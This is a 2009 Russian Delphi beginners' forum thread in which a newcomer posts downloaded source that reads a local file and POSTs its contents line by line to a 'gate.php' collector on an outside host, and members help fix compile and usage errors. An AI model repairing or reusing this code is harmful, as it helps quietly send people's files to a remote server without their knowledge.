Модераторы: Snowy, MetalFan, bems, Poseidon

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Нужна помощь! 
:(
    Опции темы
xlocked
Дата 22.1.2009, 15:43 (ссылка) | (голосов:4) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 21.1.2009

Репутация: нет
Всего: нет
Скачал с инета сорцы проги которая закачивает файл с компа на хост, вот код:
Код

procedure SendFile;
var Site : PChar;
   sock : TSocket;
   HostEnt : PHostEnt;
   WSA : TWSAData;
   addr : sockaddr_in;
   sendbuff : String;
   PostData : String;
   count : Integer;
   fName:String[80];
   buf:String[80];
   f: TextFile;
begin
fName:='С:\file.txt';             //Файл, который нкжно отправить
AssignFile(f, fName);
{$I-}
Reset(f);
{$I+}
if IOResult <> 0 then
begin
MessageDlg('Error'+ fName, mtError,[mbOk],0);
exit;
end;
while not EOF(f) do
begin
readln(f,buf);
if WSAStartup($0101, WSA) <> 0 then
Exit;
sock := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
FillChar(addr, SizeOf(sockaddr_in), 0);
addr.sin_family := AF_INET;
addr.sin_port := htons(80);
Site := 'server7.890m.com';              //ваш хост
HostEnt := gethostbyname(Site);
addr.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
Connect(sock, addr, SizeOf(addr));
       PostData := '';
       PostData := 'file=' + buf;
       sendbuff := '';
       sendbuff := 'POST http://**********/gate/gate.php HTTP/1.1' + #13#10 +     //Полный путь к гейту
                   'Host: www.********.com' + #13#10 +                                            //Ваш хост
                   'Referer: http://*******/gate/gate.php' + #13#10 +
                   'Connection: Keep-Alive, TE' + #13#10 +
                   'Content-Type: application/x-www-form-urlencoded' + #13#10 +
                   'Content-Length: ' + IntToStr(Length(PostData)) + #13#10#13#10 + PostData;
       send(sock, sendbuff [1], Length(sendbuff), 0);
       CloseSocket(sock);
     end;

Делфи выдает:
Error Tsocket
 Error PhostEnt
 Error TWSAData
Подскажите что в этом коде неправильно?


M
Alexeis		Модератор: Название темы должно отражать ее суть!
PM MAIL   Вверх
Qu1nt
Дата 22.1.2009, 17:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 602
Регистрация: 13.1.2007

Репутация: 22
Всего: 50
Код

uses
  WinSock;
PM MAIL   Вверх
xlocked
Дата 22.1.2009, 18:50 (ссылка) | (голосов:3) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 21.1.2009

Репутация: нет
Всего: нет
Теперь пишет "Expected END but VAR found" Что означает VAR?
PM MAIL   Вверх
CompWorm
Дата 22.1.2009, 18:55 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Допеределыватель
***


Профиль
Группа: Участник Клуба
Сообщений: 1689
Регистрация: 6.12.2004
Где: /

Репутация: 2
Всего: 31
ведать ты код Qu1nt, нетуда написал))))

Цитата(xlocked @  22.1.2009,  18:50 Найти цитируемый пост)
Теперь пишет "Expected END but VAR found" Что означает VAR? 

в какой строке ошибка? в семнадцатой?


--------------------
user posted image

>>> Indie Games Club! <<<
PM MAIL   Вверх
xlocked
Дата 22.1.2009, 19:34 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 21.1.2009

Репутация: нет
Всего: нет
Да, ошибка в строке 17, а WinSock записал сюда:
Код

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  WinSock;
PM MAIL   Вверх
Данкинг
Дата 22.1.2009, 20:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Yersinia pestis
****


Профиль
Группа: Завсегдатай
Сообщений: 8302
Регистрация: 7.11.2006
Где: მოსკოვი

Репутация: 11
Всего: 130
Цитата(xlocked @  22.1.2009,  18:50 Найти цитируемый пост)
Что означает VAR? 

VAR означает начало секции объявления переменных. smile 


--------------------
There's nothing left but silent epitaphs.
PM MAIL WWW   Вверх
THandle
Дата 22.1.2009, 22:17 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Хранитель Клуба
Group Icon
Награды: 1



Профиль
Группа: Админ
Сообщений: 3639
Регистрация: 31.7.2007
Где: Moscow, Dubai

Репутация: 50
Всего: 372
xlocked, покажи весь код в конце концов. В первом посте видно только одну процедуру, а судя по всему это оконное приложение.
Показывай.
PM   Вверх
xlocked
Дата 23.1.2009, 13:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 21.1.2009

Репутация: нет
Всего: нет
Цитата(THandle @  22.1.2009,  22:17 Найти цитируемый пост)
xlocked, покажи весь код в конце концов. В первом посте видно только одну процедуру, а судя по всему это оконное приложение.Показывай.

Я взял этот код с этого сайта --->ссыль
Но на том сайте Топикпастеру вроде бы нужен был неоконное приложение. Будте добры помогите разобраться с этим кодом
PM MAIL   Вверх
Данкинг
Дата 23.1.2009, 14:58 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Yersinia pestis
****


Профиль
Группа: Завсегдатай
Сообщений: 8302
Регистрация: 7.11.2006
Где: მოსკოვი

Репутация: 11
Всего: 130
Цитата(xlocked @  23.1.2009,  13:38 Найти цитируемый пост)
Я взял этот код с этого сайта 

У тебя в коде на три begin'а один end. smile 


--------------------
There's nothing left but silent epitaphs.
PM MAIL WWW   Вверх
bems
Дата 23.1.2009, 22:12 (ссылка) | (голосов:2) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 3400
Регистрация: 5.1.2006

Репутация: 18
Всего: 88
Цитата(xlocked @  23.1.2009,  13:38 Найти цитируемый пост)
Топикпастеру вроде бы нужен был неоконное приложение.

Топикстартера знаю, копипастера знаю. Топикпастера - не знаю


--------------------
Обижено школьников: 8
PM MAIL   Вверх
xlocked
Дата 25.1.2009, 18:02 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 21.1.2009

Репутация: нет
Всего: нет
Код

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  WinSock;

procedure SendFile;
var Site : PChar;
   sock : TSocket;
   HostEnt : PHostEnt;
   WSA : TWSAData;
   addr : sockaddr_in;
   sendbuff : String;
   PostData : String;
   count : Integer;
   fName:String[80];
   buf:String[80];
   f: TextFile;
begin
fName:='С:\file.txt';             //Файл, который нкжно отправить
AssignFile(f, fName);
{$I-}
Reset(f);
{$I+}
if IOResult <> 0 then
begin
MessageDlg('Error'+ fName, mtError,[mbOk],0);
exit;
end;
while not EOF(f) do
begin
readln(f,buf);
if WSAStartup($0101, WSA) <> 0 then
Exit;
sock := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
FillChar(addr, SizeOf(sockaddr_in), 0);
addr.sin_family := AF_INET;
addr.sin_port := htons(80);
Site := 'server7.890m.com';              //ваш хост
HostEnt := gethostbyname(Site);
addr.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
Connect(sock, addr, SizeOf(addr));
       PostData := '';
       PostData := 'file=' + buf;
       sendbuff := '';
       sendbuff := 'POST http://**********/gate/gate.php HTTP/1.1' + #13#10 +     //Полный путь к гейту
                   'Host: www.********.com' + #13#10 +                                            //Ваш хост
                   'Referer: http://*******/gate/gate.php' + #13#10 +
                   'Connection: Keep-Alive, TE' + #13#10 +
                   'Content-Type: application/x-www-form-urlencoded' + #13#10 +
                   'Content-Length: ' + IntToStr(Length(PostData)) + #13#10#13#10 + PostData;
       send(sock, sendbuff [1], Length(sendbuff), 0);
       CloseSocket(sock);
     end;
end;
end.

вот исправленный код. Но всеравно непашет. :( 
Создаю новую форму, кидаю код и компилю, появляется файл.ехе, запускаю появляется окно проги и никаких движений, даже в инет не проситься. 
Кто может подсказать в чем ошибка?
PM MAIL   Вверх
Samhein
Дата 25.1.2009, 18:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Башзэфашовец
**


Профиль
Группа: Участник
Сообщений: 282
Регистрация: 27.6.2005

Репутация: нет
Всего: 3
Куда ты это кидаешь? У меня такое подазрение, что ты просто кидаешь код, а ни к чему не привязываешь.
Кинь коду. Кинь на форму кнопку. Нажми на неё 2 раза и между begin и end напиши "SendFile;"(без кавычек).


--------------------
Знаю форум наизусть, но писать еще боюсь
PM   Вверх
xlocked
Дата 25.1.2009, 18:58 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 14
Регистрация: 21.1.2009

Репутация: нет
Всего: нет
Цитата(Samhein @  25.1.2009,  18:27 Найти цитируемый пост)
Куда ты это кидаешь? У меня такое подазрение, что ты просто кидаешь код, а ни к чему не привязываешь.Кинь коду. Кинь на форму кнопку. Нажми на неё 2 раза и между begin и end напиши "SendFile;"(без кавычек).

Samhein
Спасибо, получилось, только вот пишет что файл ненайден, хотя он на диске С:
PM MAIL   Вверх
Samhein
Дата 25.1.2009, 19:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Башзэфашовец
**


Профиль
Группа: Участник
Сообщений: 282
Регистрация: 27.6.2005

Репутация: нет
Всего: 3
Проверь имя файла.


--------------------
Знаю форум наизусть, но писать еще боюсь
PM   Вверх
Данкинг
Дата 25.1.2009, 19:05 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Yersinia pestis
****


Профиль
Группа: Завсегдатай
Сообщений: 8302
Регистрация: 7.11.2006
Где: მოსკოვი

Репутация: 11
Всего: 130
Цитата(Samhein @  25.1.2009,  18:27 Найти цитируемый пост)
Куда ты это кидаешь? У меня такое подазрение, что ты просто кидаешь код, а ни к чему не привязываешь.
Кинь коду. Кинь на форму кнопку. Нажми на неё 2 раза и между begin и end напиши "SendFile;"(без кавычек). 

 smile  smile  smile 
smile 
А перед этим ещё нужно включить компьютер, подождать загрузки винды, опосля чего кликнуть мышкой на ярлыке запуска "Delphi". smile  smile 


--------------------
There's nothing left but silent epitaphs.
PM MAIL WWW   Вверх
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: Для новичков"
SnowyMetalFan
bemsPoseidon
Rrader

Запрещается!

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, MetalFan, bems, Poseidon, Rrader.
 
1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Для новичков | Следующая тема »

Подписаться на тему | Подписка на этот форум | Скачать/Распечатать тему


 




[ Время генерации скрипта: 0.0851 ]   [ Использовано запросов: 21 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
 По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.